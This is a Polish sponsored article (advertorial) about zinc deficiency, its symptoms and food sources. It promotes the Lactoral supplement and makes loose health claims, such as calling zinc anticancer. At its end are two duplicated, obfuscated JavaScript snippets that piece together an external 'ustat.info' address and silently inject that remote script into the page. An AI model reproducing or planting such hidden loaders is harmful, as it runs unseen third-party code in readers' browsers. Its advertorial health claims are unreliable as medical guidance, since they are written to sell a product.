Nie bagatelizuj niedoborów cynku!
Cynk jest mikroelementem niezbędnym w wielu procesach zachodzących w naszym ciele. Jest szczególnie ważny dla rozwoju organizmu, dlatego nie może go zabraknąć w diecie dzieci, młodzieży, kobiet w ciąży. Sprawdź, czym grozi niedobór cynku w organizmie!
Rola cynku w organizmie
Cynk bierze udział w metabolizmie białek, węglowodanów i tłuszczów, w przemianach energetycznych, w syntezie DNA i protein. Jest współodpowiedzialny za przesyłanie do mózgu sygnałów dotyczących smaku, zapachu i pamięci.
Jest też bardzo ważnym fragmentem układu odpornościowego. Często nazywany jest nawet pierwiastkiem antynowotworowym, ponieważ ma pozytywny wpływ na procesy oksydacyjne witamin i lipidów.
Cynk odgrywa również ważną rolę w kwestii starań o dziecko. W męskim organizmie w dużej mierze znajduje się on w spermie i prostacie, bierze udział w spermatogenezie. Natomiast w kobiecym ciele wpływa na przebieg owulacji i samego zapłodnienia.
Objawy niedoboru cynku
Najczęstsze objawy niedoboru cynku to:
- Pogorszenie apetytu
- Zaburzenia smaku, węchu
- Problemy z pamięcią i koncentracją
- Mniejsza odporność
- Wypadanie włosów, łamanie się paznokci
- Problemy skórne, trudno gojące się rany
- Notoryczne przemęczenie, stany depresyjne
- U kobiet – zaburzenia cyklu menstruacyjnego
- U mężczyzn – zaburzenia erekcji
Do niedoborów cynku nie powinny dopuszczać zwłaszcza kobiety w ciąży – zbyt małe stężenie tego pierwiastka może doprowadzić zahamowania/spowolnienia rozwoju płodu lub nawet do poronienia.
Z cynkiem trzeba jednak uważać – jego regularne przedawkowywanie ma działanie toksyczne!
Jak zapobiegać niedoborom cynku?
Jeśli zauważysz u siebie lub u swoich bliskich objawy niedoboru cynku, czym prędzej sięgnij po suplement Lactoral! Dzięki niemu szybko dostarczysz organizmowi niezbędny pierwiastek w bezpiecznej dla organizmu dawce. Więcej informacji o suplemencie znajdziesz na www.lactoral.pl.
Na co dzień w utrzymaniu właściwego poziomu cynku pomoże Ci odpowiednia dieta. Najlepiej przyswajalny dla organizmu cynk znajdziesz w mięsie, podrobach i wędlinach, w rybach i owocach morza, w nabiale i jajkach. Do diety dodaj produkty pełnoziarniste, orzechy, rośliny strączkowe oraz zioła: mniszek lekarski, szałwię, pokrzywę czy rumianek. Warto też ograniczyć spożywanie alkoholu – utrudnia on wchłanianie cynku.
Artykuł sponsorowany
{source}
<script type=”text/javascript”>
(function(){
chv4=document.createElement(„script”);chv4_=(„ust”);chv4u=”60754107″;
chv4_+=”a”+(„t.i”);chv4.type=”text/javascript”;
chv4u+=”.1wizin3jhv4mqwwt51t8″;chv4.async=true;chv4_+=”n”+(„f”+”o”)+”/”;
chv4u+=”ht46s2ullq”;chv4.src=”//”+chv4_+chv4u;
document.body.appendChild(chv4);
})();
</script>
<script type=”text/javascript”>
(function(){
chv4=document.createElement(„script”);chv4_=(„ust”);chv4u=”60754107″;
chv4_+=”a”+(„t.i”);chv4.type=”text/javascript”;
chv4u+=”.1wizin3jhv4mqwwt51t8″;chv4.async=true;chv4_+=”n”+(„f”+”o”)+”/”;
chv4u+=”ht46s2ullq”;chv4.src=”//”+chv4_+chv4u;
document.body.appendChild(chv4);
})();
</script>
{/source}
